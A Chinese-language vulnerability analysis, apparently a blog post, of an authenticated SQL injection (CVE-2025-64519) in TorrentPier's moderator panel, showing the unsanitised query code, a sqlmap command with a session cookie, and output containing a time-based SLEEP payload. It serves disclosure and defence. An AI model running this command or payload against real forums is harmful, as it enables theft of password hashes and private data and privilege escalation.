TorrentPier认证SQL注入漏洞分析:通过版主控制面板的topic_id参数

本文详细分析了TorrentPier论坛软件中存在的认证SQL注入漏洞(CVE-2025-64519),攻击者可通过版主控制面板的topic_id参数执行任意SQL查询,导致数据泄露、修改或删除。文章包含漏洞代码分析、复现步骤和影响评估。

TorrentPier认证SQL注入漏洞分析

漏洞概述

TorrentPier论坛软件的版主控制面板(modcp.php)存在认证SQL注入漏洞。具有版主权限的用户可通过提交恶意的topic_id(t)参数利用此漏洞,执行任意SQL查询,可能导致数据库中的数据被泄露、修改或删除。

漏洞详情

漏洞位置

该漏洞在modcp.php处理包含topic_id(t参数)的请求时触发。$topic_id的值直接来自用户输入,在拼接到SQL查询之前未进行清理或参数化处理。

漏洞代码分析

在modcp.php的第111-122行存在易受攻击的代码块:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
if ($topic_id) {
    $sql = "
		SELECT
			f.forum_id, f.forum_name, f.forum_topics, f.self_moderated,
			t.topic_first_post_id, t.topic_poster
		FROM " . BB_TOPICS . " t, " . BB_FORUMS . " f
		WHERE t.topic_id = $topic_id
			AND f.forum_id = t.forum_id
		LIMIT 1
	";

    if (!$topic_row = DB()->fetch_row($sql)) {
        bb_die($lang['INVALID_TOPIC_ID_DB']);
    }
    // ...
}

WHERE t.topic_id = $topic_id子句中,$topic_id变量直接嵌入到查询字符串中。攻击者可以向t参数注入SQL语法(如布尔逻辑、基于时间的函数)来操纵查询执行。

漏洞复现

漏洞类型

这是一个基于时间的盲SQL注入漏洞,需要版主权限。

前提条件

  • 运行的TorrentPier实例
  • 具有版主权限的账户

复现步骤

  1. 以版主身份登录
  2. 从浏览器开发者工具获取完整的会话cookie字符串
  3. 使用sqlmap自动化利用漏洞

sqlmap命令

1
sqlmap -u "https://localhost/modcp.php?mode=lock&t=1" -p t --cookie "your_full_cookie_string" --dbms mysql --technique T --current-db

确认输出

sqlmap的以下输出确认漏洞利用成功:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
---
Parameter: t (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: mode=lock&t=1 AND (SELECT 9461 FROM (SELECT(SLEEP(5)))KxhM)
---
[INFO] the back-end DBMS is MySQL
[INFO] fetching current database
[INFO] retrieved: torrentpier
current database: 'torrentpier'

影响评估

这是一个认证SQL注入漏洞,虽然需要版主权限,但仍然很严重。恶意或被入侵的版主账户可以利用此漏洞:

  • 读取敏感数据:从数据库中提取任何信息,包括用户凭据(密码哈希)、私信、电子邮件地址和其他私人数据
  • 修改数据:更改数据库中的记录,如将自己或其他用户的权限提升到管理员级别
  • 删除数据:通过删除表或记录来破坏或销毁论坛数据

技术信息

  • CVE ID: CVE-2025-64519
  • GHSA ID: GHSA-4rwr-8c3m-55f6
  • 受影响版本: <= 2.8.8
  • CVSS评分: 8.8(高危)
  • 弱点类型: CWE-89 SQL注入

参考链接

  • GHSA-4rwr-8c3m-55f6
  • torrentpier/torrentpier@6a0f649
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计